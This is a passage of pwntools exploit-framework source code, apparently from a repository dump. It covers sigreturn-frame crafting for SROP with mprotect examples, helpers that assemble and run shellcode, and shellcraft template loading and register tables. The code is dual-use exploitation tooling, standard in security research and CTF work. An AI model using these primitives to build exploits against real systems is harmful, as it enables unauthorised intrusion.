'r11', 72: 'r12',\n                  80: 'r13', 88: 'r14', 96: 'r15', 104: 'rdi', 112: 'rsi', 120: 'rbp', 128: 'rbx',\n                  136: 'rdx', 144: 'rax', 152: 'rcx', 160: 'rsp', 168: 'rip', 176: 'eflags',\n                  184: 'csgsfs', 192: 'err', 200: 'trapno', 208: 'oldmask', 216: 'cr2',\n                  224: '&fpstate', 232: '__reserved', 240: 'sigmask'},\n# Reference : http://lxr.free-electrons.com/source/arch/arm/include/uapi/asm/sigcontext.h#L15\n        'arm' : {0: 'uc_flags', 4: 'uc_link', 8: 'uc_stack.ss_sp', 12: 'uc_stack.ss_flags',\n                 16: 'uc_stack.ss_size', 20: 'trap_no', 24: 'error_code', 28: 'oldmask', 32: 'r0',\n                 36: 'r1', 40: 'r2', 44: 'r3', 48: 'r4', 52: 'r5', 56: 'r6', 60: 'r7', 64: 'r8',\n                 68: 'r9', 72: 'r10', 76: 'fp', 80: 'ip', 84: 'sp', 88: 'lr', 92: 'pc', 96: 'cpsr',\n                 100: 'fault_address', 104: 'uc_sigmask', 108: '__unused', 112: 'uc_regspace',\n                 232: 'VFPU-magic', 236: 'VFPU-size'},\n# Reference : http://lxr.free-electrons.com/source/arch/mips/include/uapi/asm/sigcontext.h#L15\n        'mips': {0: 'sf_ass0', 4: 'sf_ass1', 8: 'sf_ass2', 12: 'sf_ass3', 16: 'sf_ass4', 20: 'sf_pad0',\n                 24: 'sf_pad1', 28: 'sc_regmask', 32: 'sc_status', 36: 'pc', 44: 'padding', 52: 'at', 60: 'v0',\n                 68: 'v1', 76: 'a0', 84: 'a1', 92: 'a2', 100: 'a3', 108: 't0', 116: 't1', 124: 't2',\n                 132: 't3', 140: 't4', 148: 't5', 156: 't6', 164: 't7', 172: 's0', 180: 's1', 188: 's2',\n                 196: 's3', 204: 's4', 212: 's5', 220: 's6', 228: 's7', 236: 't8', 244: 't9', 252: 'k0',\n                 260: 'k1', 268: 'gp', 276: 'sp', 284: 's8', 292: 'ra'},\n        'mipsel': {0: 'sf_ass0', 4: 'sf_ass1', 8: 'sf_ass2', 12: 'sf_ass3', 16: 'sf_ass4', 20: 'sc_regmask',\n                   24: 'sc_status', 32: 'pc', 40: 'padding', 48: 'at', 56: 'v0', 64: 'v1', 72: 'a0',\n                   80: 'a1', 88: 'a2', 96: 'a3', 104: 't0', 112: 't1', 120: 't2', 128: 't3', 136: 't4',\n                   144: 't5', 152: 't6', 160: 't7', 168: 's0', 176: 's1', 184: 's2', 192: 's3', 200: 's4',\n                   208: 's5', 216: 's6', 224: 's7', 232: 't8', 240: 't9', 248: 'k0', 256: 'k1', 264: 'gp',\n                   272: 'sp', 280: 's8', 288: 'ra'},\n        'aarch64': {312: 'x0', 320: 'x1', 328: 'x2', 336: 'x3',\n                    344: 'x4',  352: 'x5', 360: 'x6', 368: 'x7',\n                    376: 'x8', 384: 'x9', 392: 'x10', 400: 'x11',\n                    408: 'x12', 416: 'x13', 424: 'x14', 432: 'x15',\n                    440: 'x16', 448: 'x17', 456: 'x18', 464: 'x19',\n                    472: 'x20', 480: 'x21', 488: 'x22', 496: 'x23',\n                    504: 'x24', 512: 'x25', 520: 'x26', 528: 'x27',\n                    536: 'x28', 544: 'x29', 552: 'x30', 560: 'sp',\n                    568: 'pc', 592: 'magic'}\n}\n\ndefaults = {\n    \"i386\" : {\"cs\": 0x73, \"ss\": 0x7b},\n    \"i386_on_amd64\": {\"cs\": 0x23, \"ss\": 0x2b},\n    \"amd64\": {\"csgsfs\": 0x33},\n    \"arm\": {\"trap_no\": 0x6, \"cpsr\": 0x40000010, \"VFPU-magic\": 0x56465001, \"VFPU-size\": 0x120},\n    \"mips\": {},\n    \"aarch64\": {\"magic\": 0x0000021046508001},\n}\n\ninstruction_pointers = {\n    'i386': 'eip',\n    'amd64': 'rip',\n    'arm': 'pc',\n    'mips': 'pc',\n    'aarch64': 'pc',\n}\n\nstack_pointers = {\n    'i386': 'esp',\n    'amd64': 'rsp',\n    'arm': 'sp',\n    'mips': 'sp',\n    'aarch64': 'sp',\n}\n\n# # XXX Need to add support for Capstone in order to extract ARM and MIPS\n# XXX as the SVC code may vary.\nsyscall_instructions = {\n    'amd64': ['syscall'],\n    'i386': ['int 0x80'],\n    'arm': ['svc 0'],\n    'aarch64': ['svc 0'],\n    'thumb': ['svc 0'],\n    'mips': ['syscall']\n}\n\nclass SigreturnFrame(dict):\n    r\"\"\"\n    Crafts a sigreturn frame with values that are loaded up into\n    registers.\n\n    Arguments:\n        arch(str):\n            The architecture. Currently ``i386`` and ``amd64`` are\n            supported.\n\n    Examples:\n\n        Crafting a SigreturnFrame that calls mprotect on amd64\n\n        >>> context.clear(arch='amd64')\n        >>> s = SigreturnFrame()\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 0, 0, 0, 0, 0, 0, 0]\n        >>> assert len(s) == 248\n        >>> s.rax = 0xa\n        >>> s.rdi = 0x00601000\n        >>> s.rsi = 0x1000\n        >>> s.rdx = 0x7\n        >>> assert len(bytes(s)) == 248\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6295552, 4096, 0, 0, 7, 10, 0, 0, 0, 0, 51, 0, 0, 0, 0, 0, 0, 0]\n\n        Crafting a SigreturnFrame that calls mprotect on i386\n\n        >>> context.clear(arch='i386')\n        >>> s = SigreturnFrame(kernel='i386')\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]\n        >>> assert len(s) == 80\n        >>> s.eax = 125\n        >>> s.ebx = 0x00601000\n        >>> s.ecx = 0x1000\n        >>> s.edx = 0x7\n        >>> assert len(bytes(s)) == 80\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]\n\n        Crafting a SigreturnFrame that calls mprotect on ARM\n\n        >>> s = SigreturnFrame(arch='arm')\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]\n        >>> s.r0 = 125\n        >>> s.r1 = 0x00601000\n        >>> s.r2 = 0x1000\n        >>> s.r3 = 0x7\n        >>> assert len(bytes(s)) == 240\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 6, 0, 0, 125, 6295552, 4096, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]\n\n        Crafting a SigreturnFrame that calls mprotect on MIPS\n\n        >>> context.clear()\n        >>> context.endian = \"big\"\n        >>> s = SigreturnFrame(arch='mips')\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n        >>> s.v0 = 0x101d\n        >>> s.a0 = 0x00601000\n        >>> s.a1 = 0x1000\n        >>> s.a2 = 0x7\n        >>> assert len(bytes(s)) == 296\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n        Crafting a SigreturnFrame that calls mprotect on MIPSel\n\n        >>> context.clear()\n        >>> context.endian = \"little\"\n        >>> s = SigreturnFrame(arch='mips')\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n        >>> s.v0 = 0x101d\n        >>> s.a0 = 0x00601000\n        >>> s.a1 = 0x1000\n        >>> s.a2 = 0x7\n        >>> assert len(bytes(s)) == 292\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n        Crafting a SigreturnFrame that calls mprotect on Aarch64\n\n        >>> context.clear()\n        >>> context.endian = \"little\"\n        >>> s = SigreturnFrame(arch='aarch64')\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]\n        >>> s.x8 = 0xe2\n        >>> s.x0 = 0x4000\n        >>> s.x1 = 0x1000\n        >>> s.x2 = 0x7\n        >>> assert len(bytes(s)) == 600\n        >>> unpack_many(bytes(s))\n        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16384, 0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 226, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]\n    \"\"\"\n\n    arch = None\n    frame = None\n    size  = 0\n    _regs = []\n    endian = None\n\n    @LocalContext\n    def __init__(self):\n        if context.kernel is None and context.arch == 'i386':\n            log.error(\"kernel architecture must be specified\")\n\n        self.arch = context.arch\n        self.endian = context.endian\n        self._regs = [self.registers[i] for i in sorted(self.registers.keys())]\n        self.update({r:0 for r in self._regs})\n        self.size = len(bytes(self))\n        self.update(defaults[self.arch])\n\n        if context.arch == 'i386' and context.kernel == 'amd64':\n            self.update(defaults['i386_on_amd64'])\n\n    def __setitem__(self, item, value):\n        if item not in self._regs:\n            log.error(\"Unknown register %r (not in %r)\" % (item, self._regs))\n        if self.arch == \"arm\" and item == \"sp\" and (value & 0x7):\n            log.warn_once(\"ARM SP should be aligned to an 8-byte boundary\")\n        if self.arch == \"aarch64\" and item == \"sp\" and (value & 0xf):\n            log.warn_once(\"AArch64 SP should be aligned to a 16-byte boundary\")\n        super(SigreturnFrame, self).__setitem__(item, value)\n\n    def __setattr__(self, attr, value):\n        if attr in SigreturnFrame.__dict__:\n            super(SigreturnFrame, self).__setattr__(attr, value)\n        else:\n            self.set_regvalue(attr, value)\n\n    def __getattr__(self, attr):\n        if attr in self:\n            return self[attr]\n        raise AttributeError(attr)\n\n    def __bytes__(self):\n        frame = b\"\"\n        with context.local(arch=self.arch):\n            for register_offset in sorted(self.register_offsets):\n                if len(frame) < register_offset:\n                    frame += b\"\\x00\"*(register_offset - len(frame))\n                frame += pack(self[self.registers[register_offset]])\n        return frame\n\n    def __str__(self):\n        return str(self.__bytes__())\n\n    def __len__(self):\n        return self.size\n\n    def __flat__(self):\n        return bytes(self)\n\n    @property\n    def registers(self):\n        if self.arch == \"mips\" and self.endian == \"little\":\n            return registers[\"mipsel\"]\n        return registers[self.arch]\n\n    @property\n    def register_offsets(self):\n        if self.arch == \"mips\" and self.endian == \"little\":\n            return registers[\"mipsel\"]\n        return registers[self.arch].keys()\n\n    @property\n    def arguments(self):\n        # Skip the register used to hold the syscall number\n        return ABI.syscall(arch=self.arch).register_arguments[1:]\n\n    @arguments.setter\n    def arguments(self, a):\n        for arg, reg in zip(a, self.arguments):\n            setattr(self, reg, arg)\n\n    @property\n    def sp(self):\n        return self[stack_pointers[self.arch]]\n\n    @sp.setter\n    def sp(self, v):\n        self[stack_pointers[self.arch]] = v\n\n    @property\n    def pc(self):\n        return self[instruction_pointers[self.arch]]\n\n    @pc.setter\n    def pc(self, v):\n        self[instruction_pointers[self.arch]] = v\n\n    @property\n    def syscall(self):\n        return self[self.syscall_register]\n\n    @syscall.setter\n    def syscall(self, v):\n        self[self.syscall_register] = v\n\n    @property\n    def syscall_register(self):\n        return ABI.syscall(arch=self.arch).syscall_register\n\n    def set_regvalue(self, reg, val):\n        \"\"\"\n        Sets a specific ``reg`` to a ``val``\n        \"\"\"\n        self[reg] = val\n\n    def get_spindex(self):\n        return self._regs.index(stack_pointers[self.arch])\n"
  },
  {
    "path": "pwnlib/runner.py",
    "content": "import os\nimport sys\nimport tempfile\n\nfrom pwnlib.context import LocalContext, context\nfrom pwnlib.elf import ELF\nfrom pwnlib.tubes.process import process\n\n__all__ = ['run_assembly', 'run_shellcode', 'run_assembly_exitcode', 'run_shellcode_exitcode']\n\n@LocalContext\ndef run_assembly(assembly):\n    \"\"\"\n    Given an assembly listing, assemble and execute it.\n\n    Returns:\n\n        A :class:`pwnlib.tubes.process.process` tube to interact with the process.\n\n    Example:\n\n        >>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')\n        >>> p.wait_for_close()\n        >>> p.poll()\n        3\n\n        >>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')\n        >>> p.wait_for_close()\n        >>> p.poll()\n        12\n    \"\"\"\n    if context.os == 'darwin':\n        if sys.platform != 'darwin':\n            raise ValueError('Running Mach-O only supported on Darwin machines. Please use:\\n'\n                             '- https://github.com/MatthewCroughan/NixThePlanet\\n'\n                             '- https://github.com/sickcodes/Docker-OSX')\n        from pwnlib.asm import make_macho_from_assembly\n        return process(make_macho_from_assembly(assembly))\n\n    return ELF.from_assembly(assembly).process()\n\n@LocalContext\ndef run_shellcode(bytes, **kw):\n    \"\"\"Given assembled machine code bytes, execute them.\n\n    Example:\n\n        >>> insn_bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')\n        >>> p = run_shellcode(insn_bytes)\n        >>> p.wait_for_close()\n        >>> p.poll()\n        3\n\n        >>> insn_bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')\n        >>> p = run_shellcode(insn_bytes, arch='arm')\n        >>> p.wait_for_close()\n        >>> p.poll()\n        12\n    \"\"\"\n    if context.os == 'darwin':\n        if sys.platform != 'darwin':\n            raise ValueError('Running Mach-O only supported on Darwin machines. Please use:\\n'\n                             '- https://github.com/MatthewCroughan/NixThePlanet\\n'\n                             '- https://github.com/sickcodes/Docker-OSX')\n        from pwnlib.asm import make_macho\n        return process(make_macho(bytes))\n\n    return ELF.from_bytes(bytes, **kw).process()\n\n@LocalContext\ndef run_assembly_exitcode(assembly):\n    \"\"\"\n    Given an assembly listing, assemble and execute it, and wait for\n    the process to die.\n\n    Returns:\n\n        The exit code of the process.\n\n    Example:\n\n        >>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')\n        3\n    \"\"\"\n    p = run_assembly(assembly)\n    p.wait_for_close()\n    return p.poll()\n\n@LocalContext\ndef run_shellcode_exitcode(bytes):\n    \"\"\"\n    Given assembled machine code bytes, execute them, and wait for\n    the process to die.\n\n    Returns:\n\n        The exit code of the process.\n\n    Example:\n\n        >>> insn_bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')\n        >>> run_shellcode_exitcode(insn_bytes)\n        3\n    \"\"\"\n    p = run_shellcode(bytes)\n    p.wait_for_close()\n    return p.poll()\n"
  },
  {
    "path": "pwnlib/shellcraft/__init__.py",
    "content": "import itertools\nimport os\nimport re\nimport sys\nfrom types import ModuleType\n\nfrom pwnlib import constants\nfrom pwnlib.context import context\nfrom pwnlib.shellcraft import internal\nfrom pwnlib.util import packing\n\n\nclass module(ModuleType):\n    _templates = []\n\n    def __init__(self, name, directory):\n        super(module, self).__init__(name)\n\n        # Insert nice properties\n        self.__dict__.update({\n            '__file__':    __file__,\n            '__package__': __package__,\n            '__path__':    __path__,\n        })\n\n        # Save the shellcode directory\n        self._dir = directory\n\n        # Find the absolute path of the directory\n        self._absdir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates', self._dir)\n\n        # Get the docstring\n        with open(os.path.join(self._absdir, \"__doc__\")) as fd:\n            self.__doc__ = fd.read()\n\n        # Insert into the module list\n        sys.modules[self.__name__] = self\n\n    def _get_source(self, template):\n        assert template in self.templates\n        return os.path.join(self._absdir, *template.split('.')) + '.asm'\n\n    def __lazyinit__(self):\n\n        # Create a dictionary of submodules\n        self._submodules = {}\n        self._shellcodes = {}\n        for name in os.listdir(self._absdir):\n            path = os.path.join(self._absdir, name)\n            if os.path.isdir(path):\n                self._submodules[name] = module(self.__name__ + '.' + name, os.path.join(self._dir, name))\n            elif os.path.isfile(path) and name != '__doc__' and name[0] != '.':\n                funcname, _ext = os.path.splitext(name)\n                if not re.match('^[a-zA-Z_][a-zA-Z0-9_]*$', funcname):\n                    raise ValueError(\"found illegal filename, %r\" % name)\n                self._shellcodes[funcname] = name\n\n        # Put the submodules into toplevel\n        self.__dict__.update(self._submodules)\n\n        # These are exported\n        self.__all__ = sorted(itertools.chain(self._shellcodes.keys(), self._submodules.keys()))\n\n        # Make sure this is not called again\n        self.__lazyinit__ = None\n\n    def __getattr__(self, key):\n        self.__lazyinit__ and self.__lazyinit__()\n\n        # Maybe the lazyinit added it\n        if key in self.__dict__:\n            return self.__dict__[key]\n\n        # This function lazy-loads the shellcodes\n        if key in self._shellcodes:\n            real = internal.make_function(key, self._shellcodes[key], self._dir)\n            setattr(self, key, real)\n            return real\n\n        for m in self._context_modules():\n            try:\n                return getattr(m, key)\n            except AttributeError:\n                pass\n\n        raise AttributeError(\"'module' object has no attribute '%s'\" % key)\n\n    def __dir__(self):\n        # This function lists the available submodules, available shellcodes\n        # and potentially shellcodes available in submodules that should be\n        # avilable because of the context\n        self.__lazyinit__ and self.__lazyinit__()\n\n        result = list(self._submodules.keys())\n        result.extend(('__file__', '__package__', '__path__',\n                       '__all__',  '__name__'))\n        result.extend(self.__shellcodes__())\n\n        return result\n\n    def _context_modules(self):\n        self.__lazyinit__ and self.__lazyinit__()\n        for k, m in self._submodules.items():\n            if k in [context.arch, context.os, 'syscalls']:\n                yield m\n\n    def __shellcodes__(self):\n        self.__lazyinit__ and self.__lazyinit__()\n        result = list(self._shellcodes.keys())\n        for m in self._context_modules():\n            result.extend(m.__shellcodes__())\n        return result\n\n    @property\n    def templates(self):\n        if self._templates:\n            return self._templates\n\n        template_dir = os.path.join(os.path.dirname(__file__), 'templates')\n        templates    = []\n\n        for root, _, files in os.walk(template_dir, followlinks=True):\n            for file in filter(lambda x: x.endswith('.asm'), files):\n                value = os.path.splitext(file)[0]\n                value = os.path.join(root, value)\n                value = value.replace(template_dir, '')\n                value = value.replace(os.path.sep, '.')\n                value = value.lstrip('.')\n                templates.append(value)\n\n        templates = sorted(templates)\n        self._templates = templates\n        return templates\n\n    def eval(self, item):\n        if isinstance(item, int):\n            return item\n        return constants.eval(item)\n\n    def pretty(self, n, comment=True):\n        if isinstance(n, (str, bytes, list, tuple, dict)):\n            r = repr(n)\n            if not comment:  # then it can be inside a comment!\n                r = r.replace('*/', r'\\x2a/')\n            return r\n        if not isinstance(n, int):\n            return n\n        if isinstance(n, constants.Constant):\n            if comment: return '%s /* %s */' % (n,self.pretty(int(n)))\n            else:       return '%s (%s)'     % (n,self.pretty(int(n)))\n        elif abs(n) < 10:\n            return '%d' % n\n        else:\n            return '%#x' % n\n\n    def okay(self, s, *a, **kw):\n        if isinstance(s, int):\n            s = packing.pack(s, *a, **kw)\n        return b'\\0' not in s and b'\\n' not in s\n\n    from pwnlib.shellcraft import registers\n\n# To prevent garbage collection\ntether = sys.modules[__name__]\n\n# Create the module structure\nshellcraft = module(__name__, '')\n\nclass LazyImporter:\n    def find_module(self, fullname, path=None):\n        if not fullname.startswith('pwnlib.shellcraft.'):\n            return None\n\n        parts = fullname.split('.')[2:]\n        cur = shellcraft\n        for part in parts:\n            cur = getattr(cur, part, None)\n            if not isinstance(cur, ModuleType):\n                return None\n\n        return self\n\n    def load_module(self, fullname):\n        return sys.modules[fullname]\n\nsys.meta_path.append(LazyImporter())\n"
  },
  {
    "path": "pwnlib/shellcraft/internal.py",
    "content": "import os\nimport sys\n\nfrom pwnlib.context import context\n\n__all__ = ['make_function']\n\nloaded = {}\nlookup = None\ndef init_mako():\n    global lookup, render_global\n    from mako.lookup import TemplateLookup\n    from mako.parsetree import Tag, Text\n    from mako import ast\n    import threading\n\n    if lookup is not None:\n        return\n\n    class IsInsideManager(object):\n        def __init__(self, parent):\n            self.parent = parent\n        def __enter__(self):\n            self.oldval = self.parent.is_inside\n            self.parent.is_inside = True\n            return self.oldval\n        def __exit__(self, *args):\n            self.parent.is_inside = self.oldval\n\n    class IsInside(threading.local):\n        is_inside = False\n\n        def go_inside(self):\n            return IsInsideManager(self)\n\n    render_global = IsInside()\n\n    cache  = context.cache_dir\n    if cache:\n        cache = os.path.join(cache, 'mako')\n\n    curdir = os.path.dirname(os.path.abspath(__file__))\n    lookup = TemplateLookup(\n        directories      = [os.path.join(curdir, 'templates')],\n        module_directory = cache\n    )\n\n    # The purpose of this definition is to create a new Tag.\n    # The Tag has a metaclass, which saves this definition even\n    # though to do not use it here.\n    class pwn_docstring(Tag):\n        __keyword__ = 'docstring'\n\n        def __init__(self, *args, **kwargs):\n            super(pwn_docstring, self).__init__('docstring', (), (), (), (), **kwargs)\n            self.ismodule = True\n\n        @property\n        def text(self):\n            children = self.get_children()\n            if len(children) != 1 or not isinstance(children[0], Text):\n                raise Exception(\"docstring tag only supports text\")\n\n            docstring = children[0].content\n\n            return '__doc__ = %r' % docstring\n\n        @property\n        def code(self):\n            return ast.PythonCode(self.text)\n\n        def accept_visitor(self, visitor):\n            method = getattr(visitor, \"visitCode\", lambda x: x)\n            method(self)\n\ndef lookup_template(filename):\n    init_mako()\n\n    if filename not in loaded:\n        loaded[filename] = lookup.get_template(filename)\n\n    return loaded[filename]\n\ndef get_context_from_dirpath(directory):\n    \"\"\"\n    >>> get_context_from_dirpath('common')\n    {}\n    >>> get_context_from_dirpath('i386')\n    {'arch': 'i386'}\n    >>> get_context_from_dirpath('amd64/linux') == {'arch': 'amd64', 'os': 'linux'}\n    True\n    \"\"\"\n    parts = directory.split(os.path.sep)\n\n    arch = osys = None\n\n    if len(parts) > 0:\n        arch = parts[0]\n    if len(parts) > 1:\n        osys = parts[1]\n\n    if osys == 'common':\n        osys = None\n    if arch == 'common':\n        arch = None\n\n    return {'os': osys, 'arch': arch}\n\ndef make_function(funcname, filename, directory):\n    import functools\n    import inspect\n    path       = os.path.join(directory, filename)\n    template   = lookup_template(path)\n\n    local_ctx = get_context_from_dirpath(directory)\n\n    def res(*args, **kwargs):\n        with render_global.go_inside() as was_inside:\n            with context.local(**local_ctx):\n                lines = template.render(*args, **kwargs).split('\\n')\n        for i, line in enumerate(lines):\n            def islabelchar(c):\n                return c.isalnum() or c == '.' or c == '_'\n            if ':' in line and islabelchar(line.lstrip()[0]):\n                line = line.lstrip()\n            elif line.startswith(' '):\n                 line = '    ' + line.lstrip()\n            lines[i] = line\n        while lines and not lines[-1]: lines.pop()\n        while lines and not lines[0]:  lines.pop(0)\n        s = '\\n'.join(lines)\n        while '\\n\\n\\n' in s:\n            s = s.replace('\\n\\n\\n', '\\n\\n')\n\n        if was_inside:\n            return s\n        else:\n            return s + '\\n'\n\n    # Setting _relpath is a slight hack only used to get better documentation\n    res._relpath = path\n    res.__module__ = 'pwnlib.shellcraft.' + os.path.dirname(path).replace('/','.')\n    res.__name__ = res.__qualname__ = funcname\n    res.__doc__ = inspect.cleandoc(template.module.__doc__ or '')\n    if hasattr(inspect, 'signature'):\n        sig = inspect.signature(template.module.render_body)\n        sig = sig.replace(parameters=list(sig.parameters.values())[1:-1])\n        res.__signature__ = sig\n\n    @functools.wraps(res)\n    def function(*a):\n        return sys.modules[res.__module__].function(res.__name__, res, *a)\n    @functools.wraps(res)\n    def call(*a):\n        return sys.modules[res.__module__].call(res.__name__, *a)\n\n    res.function = function\n    res.call     = call\n\n    return res\n"
  },
  {
    "path": "pwnlib/shellcraft/registers.py",
    "content": "import re\n\nfrom pwnlib.context import context\nfrom pwnlib.util.misc import register_sizes\n\nmips = {\n    '$0' :  0, '$zero': 0,\n    '$1' :  1, '$at':  1,\n    '$2' :  2, '$v0':  2,\n    '$3' :  3, '$v1':  3,\n    '$4' :  4, '$a0':  4,\n    '$5' :  5, '$a1':  5,\n    '$6' :  6, '$a2':  6,\n    '$7' :  7, '$a3':  7,\n    '$8' :  8, '$t0':  8,\n    '$9' :  9, '$t1':  9,\n    '$10': 10, '$t2': 10,\n    '$11': 11, '$t3': 11,\n    '$12': 12, '$t4': 12,\n    '$13': 13, '$t5': 13,\n    '$14': 14, '$t6': 14,\n    '$15': 15, '$t7': 15,\n    '$16': 16, '$s0': 16,\n    '$17': 17, '$s1': 17,\n    '$18': 18, '$s2': 18,\n    '$19': 19, '$s3': 19,\n    '$20': 20, '$s4': 20,\n    '$21': 21, '$s5': 21,\n    '$22': 22, '$s6': 22,\n    '$23': 23, '$s7': 23,\n    '$24': 24, '$t8': 24,\n    '$25': 25, '$t9': 25,\n    '$26': 26, '$k0': 26,\n    '$27': 27, '$k1': 27,\n    '$28': 28, '$gp': 28,\n    '$29': 29, '$sp': 29,\n    '$30': 30, '$s8': 30,\n    '$31': 31, '$ra': 31,\n}\n\nmips_list = list(mips)\n\narm = list(map('r{}'.format, range(13)))\narm += [\"sp\", \"lr\", \"pc\", \"cpsr\"]\n\nthumb = arm\n\naarch64 = list(map('x{}'.format, range(32)))\naarch64 += [\"sp\", \"lr\", \"pc\", \"cpsr\"]\n\ni386_baseregs = [ \"ax\", \"cx\", \"dx\", \"bx\", \"sp\", \"bp\", \"si\", \"di\", \"ip\"]\n\ni386 = list(map('e{}'.format, i386_baseregs))\ni386 += i386_baseregs\ni386 += [ \"eflags\", \"cs\", \"ss\", \"ds\", \"es\", \"fs\", \"gs\", ]\n\namd64 =  list(map('r{}'.format, i386_baseregs))\namd64 += list(map('r{}'.format, range(8,16)))\namd64 += list(map('r{}d'.format, range(8,16)))\namd64 += i386\n\npowerpc =  list(map('r{}'.format, range(32)))\npowerpc += [\"pc\", \"msr\", \"cr\", \"lr\", \"ctr\", \"xer\", \"orig_r3\", \"trap\" ]\npowerpc =  list(map('%{}'.format, powerpc))\n\nsparc =  list(map('g{}'.format, range(8)))\nsparc += list(map('o{}'.format, range(5)))\nsparc += list(map('l{}'.format, range(8)))\nsparc += list(map('i{}'.format, range(5)))\nsparc += [\"pc\", \"sp\", \"fp\", \"psr\" ]\nsparc =  list(map('%{}'.format, sparc))\n\nriscv = {\n    'x0' :  0, 'zero': 0,\n    'x1' :  1, 'ra':  1,\n    'x2' :  2, 'sp':  2,\n    'x3' :  3, 'gp':  3,\n    'x4' :  4, 'tp':  4,\n    'x5' :  5, 't0':  5,\n    'x6' :  6, 't1':  6,\n    'x7' :  7, 't2':  7,\n    'x8' :  8, 's0':  8, 'fp':  8,\n    'x9' :  9, 's1':  9,\n    'x10': 10, 'a0': 10,\n    'x11': 11, 'a1': 11,\n    'x12': 12, 'a2': 12,\n    'x13': 13, 'a3': 13,\n    'x14': 14, 'a4': 14,\n    'x15': 15, 